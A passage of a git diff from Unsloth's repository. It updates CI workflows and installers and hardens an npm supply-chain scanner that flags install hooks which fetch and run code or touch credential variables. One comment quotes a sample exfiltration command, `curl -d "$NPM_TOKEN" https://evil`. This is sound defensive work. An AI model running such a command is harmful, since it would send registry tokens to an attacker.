logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. if [ -n "${UNSLOTH_API_KEY:-}" ]; then - grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true done fi @@ -582,8 +586,10 @@ jobs: # `API Key: `) into logs/unsloth-run-.log, and the upload # step publishes all of logs/, so scrubbing only studio-logs would leak # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. if [ -n "${UNSLOTH_API_KEY:-}" ]; then - grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true done fi diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml index bce355458a..3022127a2b 100644 --- a/.github/workflows/studio-backend-ci.yml +++ b/.github/workflows/studio-backend-ci.yml @@ -68,9 +68,10 @@ jobs: pip install -r studio/backend/requirements/studio.txt # Extras that studio.txt does not list but the import chain needs # (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography - # for the auth DB, yaml/jinja2 for utils.models.model_config, etc.): + # for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for + # the orphan-cleanup process scan, etc.): pip install \ - python-multipart aiofiles sqlalchemy cryptography \ + python-multipart aiofiles sqlalchemy cryptography psutil \ pyyaml jinja2 mammoth unpdf requests \ 'numpy<3' pytest pytest-asyncio httpx # Torch CPU + transformers are required by a chunk of the backend test @@ -133,7 +134,7 @@ jobs: python -m pip install --upgrade pip pip install -r studio/backend/requirements/studio.txt pip install \ - python-multipart aiofiles sqlalchemy cryptography \ + python-multipart aiofiles sqlalchemy cryptography psutil \ pyyaml jinja2 mammoth unpdf requests typer \ 'numpy<3' pytest pytest-asyncio httpx # torchvision: unsloth_zoo.vision_utils imports it at module scope. @@ -229,7 +230,9 @@ jobs: tests/sh/test_resolve_cuda_archs.sh \ tests/sh/test_tauri_install_exit_order.sh \ tests/sh/test_torch_constraint.sh \ - tests/sh/test_torch_flavor.sh; do + tests/sh/test_torch_flavor.sh \ + tests/sh/test_with_llama_cpp_dir_flag.sh \ + tests/sh/test_with_llama_cpp_dir_link_behavior.sh; do echo "::group::$s" bash "$s" echo "::endgroup::" diff --git a/.github/workflows/studio-export-capability-ci.yml b/.github/workflows/studio-export-capability-ci.yml new file mode 100644 index 0000000000..1ee6489209 --- /dev/null +++ b/.github/workflows/studio-export-capability-ci.yml @@ -0,0 +1,76 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS. +# +# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per +# platform) and the export backend must import without PyTorch, so this confirms the gating and +# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator +# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block +# torch/unsloth, so the job installs only a CPU PyTorch plus import deps. + +name: Studio export capability + +on: + pull_request: + paths: + - 'studio/backend/utils/hardware/hardware.py' + - 'studio/backend/core/export/export.py' + - 'studio/backend/routes/export.py' + - 'studio/backend/main.py' + - 'studio/backend/tests/test_export_capability.py' + - '.github/workflows/studio-export-capability-ci.yml' + push: + branches: [main] + paths: + - 'studio/backend/utils/hardware/hardware.py' + - 'studio/backend/core/export/export.py' + - 'studio/backend/routes/export.py' + - 'studio/backend/main.py' + - 'studio/backend/tests/test_export_capability.py' + - '.github/workflows/studio-export-capability-ci.yml' + workflow_dispatch: + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + capability: + name: capability (${{ matrix.os }}) + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + runs-on: ${{ matrix.os }} + timeout-minutes: 20 + env: + # No accelerator on hosted runners; keep detection on the CPU path. + CUDA_VISIBLE_DEVICES: "" + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + - name: Upgrade pip + run: python -m pip install --upgrade pip + - name: Install CPU PyTorch + # CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's + # transitive deps still resolve (matching the other workflows in this repo). + run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13" + - name: Install backend import deps + # Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and + # the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds). + run: python -m pip install + transformers peft accelerate safetensors huggingface_hub datasets + sentencepiece protobuf fastapi starlette structlog psutil + python-multipart pydantic httpx "numpy<3" pytest + - name: Export capability + import-safety tests + working-directory: studio/backend + run: python -m pytest tests/test_export_capability.py -q diff --git a/install.ps1 b/install.ps1 index 33cf103317..2a2d22b383 100644 --- a/install.ps1 +++ b/install.ps1 @@ -99,6 +99,7 @@ function Install-UnslothStudio { $TauriMode = $false $SkipTorch = $false $ShortcutsOnly = $false + $WithLlamaCppDir = "" $argList = $args for ($i = 0; $i -lt $argList.Count; $i++) { switch ($argList[$i]) { @@ -116,6 +117,14 @@ function Install-UnslothStudio { } $PackageName = $argList[$i] } + "--with-llama-cpp-dir" { + $i++ + if ($i -ge $argList.Count) { + Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red + return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.") + } + $WithLlamaCppDir = $argList[$i] + } } } @@ -2435,6 +2444,13 @@ exit 0 } $studioArgs = @('studio', 'setup') if ($script:UnslothVerbose) { $studioArgs += '--verbose' } + if ($WithLlamaCppDir) { + if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) { + Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red + return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.") + } + $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path + } $env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1" # Hand the venv interpreter to setup.ps1 so it reuses the Python we already # resolved and built the venv with, instead of re-probing the system (which @@ -2450,6 +2466,7 @@ exit 0 } else { Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue } + Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue } diff --git a/install.sh b/install.sh index af7a250dcc..871d29e336 100755 --- a/install.sh +++ b/install.sh @@ -53,6 +53,11 @@ _VERBOSE=false _SHORTCUTS_ONLY=false _next_is_package=false _next_is_python=false +_next_is_llama_cpp_dir=false +# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR +# (the documented piped-install style) is honored; the --with-llama-cpp-dir +# flag below overrides it when given. +_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}" for arg in "$@"; do if [ "$_next_is_package" = true ]; then PACKAGE_NAME="$arg" @@ -64,6 +69,11 @@ for arg in "$@"; do _next_is_python=false continue fi + if [ "$_next_is_llama_cpp_dir" = true ]; then + _WITH_LLAMA_CPP_DIR="$arg" + _next_is_llama_cpp_dir=false + continue + fi case "$arg" in --local) STUDIO_LOCAL_INSTALL=true ;; --package) _next_is_package=true ;; @@ -72,6 +82,7 @@ for arg in "$@"; do --no-torch) _NO_TORCH_FLAG=true ;; --verbose|-v) _VERBOSE=true ;; --shortcuts-only) _SHORTCUTS_ONLY=true ;; + --with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;; esac done @@ -255,6 +266,10 @@ if [ "$_next_is_python" = true ]; then echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2 exit 1 fi +if [ "$_next_is_llama_cpp_dir" = true ]; then + echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2 + exit 1 +fi # Validate --package to prevent injection into shell/Python commands. # Must start with a letter/digit (rejects leading dashes that uv would parse as flags). @@ -3043,6 +3058,13 @@ _run_setup_with_studio_home() { "$@" fi } +if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then + if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then + echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2 + exit 1 + fi + _WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)" +fi if [ "$STUDIO_LOCAL_INSTALL" = true ]; then _run_setup_with_studio_home env \ SKIP_STUDIO_BASE="$_SKIP_BASE" \ @@ -3051,6 +3073,7 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then STUDIO_LOCAL_INSTALL=1 \ STUDIO_LOCAL_REPO="$_REPO_ROOT" \ UNSLOTH_NO_TORCH="$SKIP_TORCH" \ + UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \ bash "$SETUP_SH" tuple[int, int]: + """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` + where ``L`` is the count of closers with no opener earlier on the line (they + need an opener to the LEFT / on a prior line) and ``R`` is the count of openers + with no closer later on the line (they need a closer to the RIGHT / on a later + line). A plain net count (opens minus closes) collapses order and so masks a + trailing opener that follows leading closers on the same line, e.g. + ``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config + object; tracking the running minimum keeps that opener visible so the group + binds the path/headers that follow. Only bracket characters are walked (pulled + out with one C-level regex pass) so a long minified line stays cheap.""" + depth = 0 + low = 0 + for ch in _RE_BRACKETS.findall(line): + if ch in _OPENERS: + depth += 1 + else: + depth -= 1 + if depth < low: + low = depth + return -low, depth - low + + +def _find_unescaped(line: str, quote: str, start: int) -> int: + """Index of the next ``quote`` at or after ``start`` not escaped by a backslash, + or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored.""" + i, n = start, len(line) + while i < n: + if line[i] == "\\": + i += 2 + continue + if line[i] == quote: + return i + i += 1 + return -1 + + +# A `/` is a regex literal (not division) when the previous significant character +# is none (start) or one of these expression-position chars. Used only by the +# multi-line blanked view, and the span is unioned with the single-line view, so +# an over- or under-detection only ever grows the bound span (never shrinks it). +_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>") + + +def _blank_js_strings(lines: list[str]) -> list[str]: + """Replace string contents (single, double, multi-line backtick template + literals) AND regex literal bodies with spaces across ``lines``, keeping the + line count and every bracket OUTSIDE a string/regex intact, so bracket counting + never miscounts a ``)`` that lives inside a string -- including a template + literal spanning several lines or a ``/)/`` regex -- which a per-line regex + cannot blank. Escapes are honoured.""" + out: list[str] = [] + in_back = False # inside a multi-line `template` literal + prev_sig = "" # last significant non-space char (for regex-vs-division) + for line in lines: + buf: list[str] = [] + i, n = 0, len(line) + while i < n: + if in_back: + end = _find_unescaped(line, "`", i) + if end == -1: + buf.append(" " * (n - i)) + i = n + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + in_back = False + prev_sig = "`" + continue + ch = line[i] + if ch in " \t": + buf.append(ch) + i += 1 + continue + if ch in "'\"`": + end = _find_unescaped(line, ch, i + 1) + if end == -1: + buf.append(" " * (n - i)) + i = n + if ch == "`": # opens a template literal that runs past this line + in_back = True + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + prev_sig = "v" # a string is a value: a following `/` is division + continue + if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS): + # Regex literal: blank to the closing unescaped `/` outside a `[...]` + # char class. A regex never spans lines, so no close on the line + # means this `/` is really division. + j, in_class, closed = i + 1, False, False + while j < n: + c = line[j] + if c == "\\": + j += 2 + continue + if c == "[": + in_class = True + elif c == "]": + in_class = False + elif c == "/" and not in_class: + j += 1 + closed = True + break + j += 1 + if closed: + buf.append(" " * (j - i)) + i = j + prev_sig = "v" # a regex is a value + continue + buf.append(ch) + i += 1 + prev_sig = "/" + continue + buf.append(ch) + i += 1 + prev_sig = ch + out.append("".join(buf)) + return out + + +def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]: + """Precompute once per evidence call: raw lines for display, two string-blanked + views for bracket counting (single-line via regex = legacy, and multi-line + aware so a template literal spanning lines is blanked), and newline offsets for + O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole + file on every single match (which was O(matches x file size)).""" + lines = text.split("\n") + sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines] + ml_blanked = _blank_js_strings(lines) + nl = [p for p, ch in enumerate(text) if ch == "\n"] + return lines, sl_blanked, ml_blanked, nl + + +# Cap on formatted matches in one evidence string; beyond it the remaining match +# texts are folded into a single digest so a huge/minified file cannot build a +# multi-megabyte evidence blob while an added/removed match past the cap still +# changes the key. +_MAX_EVIDENCE_MATCHES = 64 + + +def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]: + """(start, end) line indices of the bracket group enclosing line ``idx`` in one + blanked view: scan back to the still-open opener, then forward to its close.""" + # Backward: find the line that opens a bracket still unclosed at the match, + # so a match inside a multi-line object starts from the object opener. Each line + # is reduced to (L, R) and applied in order: first the L closers consume open + # brackets from the running context (a stray closer whose opener is outside the + # window only clamps depth at 0, it never goes negative), then the R openers + # add to it. Tracking order this way (rather than a single net per line) keeps a + # trailing opener visible even when leading closers on the same line net it to + # <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a + # changed path/headers after such a line ride the unchanged-hostname key. + start = idx + depth = 0 + for j in range(max(0, idx - _MAX_CONT_LINES), idx): + left, right = _bracket_lr(blanked[j]) + if left >= depth: + depth = 0 # everything opened so far in the window has closed + start = idx + else: + depth -= left + if right > 0: + if depth == 0: + start = j # outermost still-open opener begins here + depth += right + + # Forward: extend until the group opened at `start` closes past the match. The + # same order-aware reduction is used (clamping leading closers at 0) so the + # foreign `})` on the opener line does not drive the count negative and stop the + # scan before the real close. The cap is measured from the match (`idx`), not + # from `start`, so an opener found near the backward limit does not eat the + # whole forward budget and drop the path/headers/body that follow the match. + depth = 0 + end = start + for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)): + left, right = _bracket_lr(blanked[j]) + depth = max(0, depth - left) + right + end = j + if j >= idx and depth <= 0: + break + return start, end + + +def _canon_preserve_strings(text: str) -> str: + """Whitespace canon that collapses runs OUTSIDE string literals to a single + space (so a reindent or spacing change between tokens stays stable) while + preserving whitespace INSIDE single/double/backtick string literals (so a + changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain + ``" ".join(text.split())`` erases both, suppressing an intra-literal payload + edit along with harmless indentation. Leading/trailing outside whitespace is + dropped; escapes inside strings are honoured. Used for the evidence hash and + the logical-line digests so the two stay consistent.""" + out: list[str] = [] + i, n = 0, len(text) + quote: str | None = None + pending_space = False + while i < n: + ch = text[i] + if quote is not None: + out.append(ch) + if ch == "\\" and i + 1 < n: + out.append(text[i + 1]) + i += 2 + continue + if ch == quote: + quote = None + i += 1 + continue + if ch.isspace(): + pending_space = True + i += 1 + continue + if pending_space and out: + out.append(" ") + pending_space = False + out.append(ch) + if ch in "'\"`": + quote = ch + i += 1 + return "".join(out) + + +def _logical_line_text( + lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int +) -> str: + """The matched line plus the bracket group it belongs to (the enclosing + multi-line object/call, so a changed ``path``/``headers``/body on another line + binds). Returns the UNION of the groups found in the single-line-blanked view + (legacy: a payload embedded inside a template still counts so its brackets bind + the call) and the multi-line-blanked view (a bracket inside a template literal + spanning lines no longer closes the group early). Unioning never shrinks the + span below either view, so neither blanking strategy can drop a line a + malicious change relies on.""" + s1, e1 = _scan_group(sl_blanked, idx) + s2, e2 = _scan_group(ml_blanked, idx) + start, end = min(s1, s2), max(e1, e2) + return " ".join(lines[start : end + 1]) + + +def _format_match( + text: str, + lines: list[str], + sl_blanked: list[str], + ml_blanked: list[str], + nl: list[int], + m: re.Match, + max_chars: int, +) -> str: + # The shown snippet is a small window around the match; append a digest of the + # full LOGICAL line (the matched line plus its bracket-continuation lines) + # whenever the snippet does not already show all of it, so a changed payload + # tail, a truncated body, or a multi-line option/header reopens. Offsets are + # mapped to line numbers via bisect over precomputed newline positions, so this + # is O(log n) instead of rescanning the file prefix for every match. + idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match + line_start = nl[idx - 1] + 1 if idx > 0 else 0 + ke = bisect.bisect_left(nl, m.end()) + line_end = nl[ke] if ke < len(nl) else len(text) + full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + start = max(line_start, m.start() - 30) + end = min(line_end, m.end() + 30) + snippet = text[start:end].replace("\n", " ") + if len(snippet) > max_chars: + snippet = snippet[:max_chars] + "..." + if snippet != full_logical: + # Normalize before digesting, matching _evidence_hash, so a formatter-only + # reindent of the bound continuation lines does not reopen -- but preserve + # whitespace inside string literals so a changed request/payload body does. + canon = _canon_preserve_strings(full_logical) + digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() + snippet = f"{snippet} sha256:{digest}" + return snippet + + +def _stream_overflow_digest( + matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> tuple[int, str]: + """A single digest binding the LOGICAL line (the bound bracket-group context, + not just the regex match text) of every overflow match in the iterable, plus + the count of matches folded. Streams the matches (any iterable of re.Match) so a + huge overflow never materializes a list. Whitespace-normalized to match + _evidence_hash so a reindent does not reopen.""" + h = hashlib.sha256() + count = 0 + for m in matches: + _fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl) + count += 1 + return count, h.hexdigest() + + +def _fold_overflow_match( + h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> None: + """Fold one overflow match's whitespace-normalized logical-line context into the + running hash ``h``. Shared by _stream_overflow_digest and the inline overflow + fold in _outbound_host_evidence so both produce the identical digest.""" + idx = bisect.bisect_left(nl, m.start()) + ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + h.update(b"\x00") + h.update(_canon_preserve_strings(ll).encode("utf-8", "replace")) + + def _evidence( text: str, pat: re.Pattern, max_chars: int = 200, ) -> str: - m = pat.search(text) - if not m: + # Record every match (not a truncated sample) so an extra match appended to an + # already-flagged file changes the evidence instead of riding the first few. + # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest + # (binding their logical-line context) so the evidence string stays bounded + # while a changed payload past the cap still reopens. The matches are streamed + # from finditer rather than materialized into a list: a generated file can + # repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a + # re.Match per occurrence before applying the cap would stall or OOM the scan. + it = pat.finditer(text) + shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES)) + if not shown_matches: return "" - start = max(0, m.start() - 30) - end = min(len(text), m.end() + 30) - snippet = text[start:end].replace("\n", " ") - if len(snippet) > max_chars: - snippet = snippet[:max_chars] + "..." - return snippet + lines, sl_blanked, ml_blanked, nl = _index_text(text) + shown = [ + _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches + ] + # Fold the rest (past the cap) into one digest as they arrive, never building a + # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:]. + overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl) + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{digest}") + return " | ".join(shown) + + +def _ioc_evidence(text: str, needle: str) -> str: + """Matched-line context (with bracket-group continuation) for a literal IOC + needle, so a changed adjacent fetch/exfil body reopens the key instead of + riding the bare constant. Falls back to the needle itself if, defensively, + nothing matches (the caller only reaches here when ``needle in text``).""" + return _evidence(text, re.compile(re.escape(needle))) or needle LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare") @@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: body = scripts.get(hook) if not isinstance(body, str): continue + # Pin the whole lifecycle body via one digest shared by every lifecycle + # finding below: a script that keeps the matched signal but changes + # another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN" + # https://evil`) must reopen. The stored evidence is a bounded matched + # snippet plus this digest, never the entire body, so `--write-baseline` + # on a package with a multi-MiB install script does not bloat the baseline + # JSON while the digest still binds the full body. Normalized to match + # _evidence_hash so a reindent alone does not reopen, while whitespace + # inside quoted strings is preserved so a changed quoted payload does. + body_digest = hashlib.sha256( + _canon_preserve_strings(body).encode("utf-8", "replace") + ).hexdigest() if _LIFECYCLE_FETCH_EXEC.search(body): findings.append( Finding( @@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"lifecycle-fetch-exec ({hook})", - evidence = body, + evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` fetches an external " "resource and pipes/chains it to an " @@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-path-in-lifecycle ({hook})", - evidence = body, + evidence = ( + f"{_evidence(body, re.compile(re.escape(path_substr)))} " + f"body-sha256:{body_digest}" + ), detail = ( f"`scripts.{hook}` references {why} " f"({path_substr!r}); install-time access " @@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-env-in-lifecycle ({hook})", - evidence = _evidence(body, _JS_ENV_TOKEN), + evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` references a credential " "env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* " @@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool: return False +def _outbound_host_evidence(text: str, host: str) -> str: + """Evidence capturing the host WITH its outbound context (URL path, fetch + call, host config), so a changed path/headers/body reopens the key instead + of riding the bare host literal. Falls back to the host if none matches.""" + host_re = re.escape(host) + patterns = ( + re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE), + re.compile( + rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}" + rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}", + re.IGNORECASE, + ), + # Host-config form: capture the whole line (path/headers/body), so a + # changed outbound payload on the same hostname line reopens the key. + re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE), + ) + # Record EVERY outbound context for the host, not just the first form that + # matches: a file that already has a baselined URL for the host and later adds + # a separate host-config request (or a second URL) must change the evidence so + # the new payload cannot inherit the old key. Forms are claimed in order, and a + # region already claimed by an earlier form is skipped, so the common + # single-context case keeps its existing snippet. Each form is capped at + # _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a + # minified file cannot make the overlap check quadratic; once chosen is full + # the rest are folded into a digest AS THEY ARRIVE (never accumulated into a + # list, so a host repeated millions of times cannot OOM the scan) and an added + # context still reopens. + lines, sl_blanked, ml_blanked, nl = _index_text(text) + claimed: list[tuple[int, int]] = [] + chosen: list[re.Match] = [] + overflow_count = 0 + overflow_hash = hashlib.sha256() + for pat in patterns: + for m in pat.finditer(text): + if len(chosen) < _MAX_EVIDENCE_MATCHES: + # Overlap check runs only while filling the display list, so + # `claimed` is bounded by the cap and this stays O(cap) per match + # (not quadratic), while every later match is still counted below. + if any(m.start() < e and s < m.end() for s, e in claimed): + continue + claimed.append((m.start(), m.end())) + chosen.append(m) + else: + _fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl) + overflow_count += 1 + if not chosen: + return host + chosen.sort(key = lambda m: m.start()) + shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen] + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") + return " | ".join(shown) + + def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: findings: list[Finding] = [] @@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: if rel.lower().endswith(_JS_FAMILY_SUFFIXES): text = _strip_js_noncode(text) - # IOC substrings (literal, case-sensitive). + # IOC substrings (literal, case-sensitive). Evidence is the matched-line + # context (with its bracket-group continuation), not the bare needle: an IOC + # host/hash left in place while the adjacent fetch/exfil body changes must + # reopen the key instead of riding the constant. for needle, (sev, why) in KNOWN_IOC_STRINGS.items(): if needle in text: findings.append( @@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) - # Cred surfaces, tier 1: hosts with no legit use; bare substring. + # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context + # (path/headers/body) when present so a changed exfil payload on the same call + # reopens; falls back to the bare host when it is not in an outbound call. for needle, why in CRED_HOST_ALWAYS_BAD: if needle in text: findings.append( @@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (always-bad)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}); no legitimate " "frontend use of this surface" @@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (outbound)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}) in an outbound " "call / URL / host config; a defensive blocklist " @@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) @@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N _DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json") -# Bumped when the entry-key semantics change. v2 keys on the package-relative -# path; v1 stored only a basename, so a v1 entry could suppress a same-named file -# in a different directory. A pre-v2 baseline with entries is ignored (fail -# closed) rather than mis-applied. -_BASELINE_SCHEMA_VERSION = 2 +# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new +# payload under an already-listed package/path/pattern is not auto-suppressed; v2 +# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline +# with entries is ignored (fail closed) rather than mis-applied. +_BASELINE_SCHEMA_VERSION = 3 def _norm_pkg_name(display: str) -> str: @@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str: return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f -def _finding_key(f: Finding) -> tuple[str, str, str]: - """Stable allowlist key: normalized package, package-relative path, pattern.""" - return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern) +def _evidence_hash(evidence: str) -> str: + """Stable digest of the matched evidence. The npm snippet carries no line + markers, so it is already version-stable; whitespace outside string literals is + collapsed (reindent-stable) while whitespace inside literals is preserved, so a + changed payload body reopens but a formatter reindent does not.""" + canon = _canon_preserve_strings(evidence or "") + return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() -def _load_baseline(path: str) -> set[tuple[str, str, str]]: +def _finding_key(f: Finding) -> tuple[str, str, str, str]: + """Allowlist key: normalized package, package-relative path, pattern, and a + hash of the matched evidence -- so changed flagged code under an already-listed + package/path/pattern reopens instead of riding the reviewed entry.""" + return ( + _norm_pkg_name(f.package), + _relpath_in_package(f.filename), + f.pattern, + _evidence_hash(f.evidence or f.detail), + ) + + +def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" try: with open(path, "r", encoding = "utf-8") as fh: @@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]: except (OSError, json.JSONDecodeError) as exc: print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) return set() + if not isinstance(data, dict): + print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) + return set() entries = data.get("entries", []) - if entries and data.get("version") != _BASELINE_SCHEMA_VERSION: + if not isinstance(entries, list): + print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) + return set() + # v2 shares v3's package-relative keying, so its entries migrate by recomputing + # the evidence hash from their stored evidence; only pre-v2 (basename) is rejected. + if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2): print( f" [WARN] baseline schema v{data.get('version')} predates package-relative " f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.", file = sys.stderr, ) return set() - keys: set[tuple[str, str, str]] = set() + keys: set[tuple[str, str, str, str]] = set() + legacy = 0 for e in entries: + if not isinstance(e, dict): + 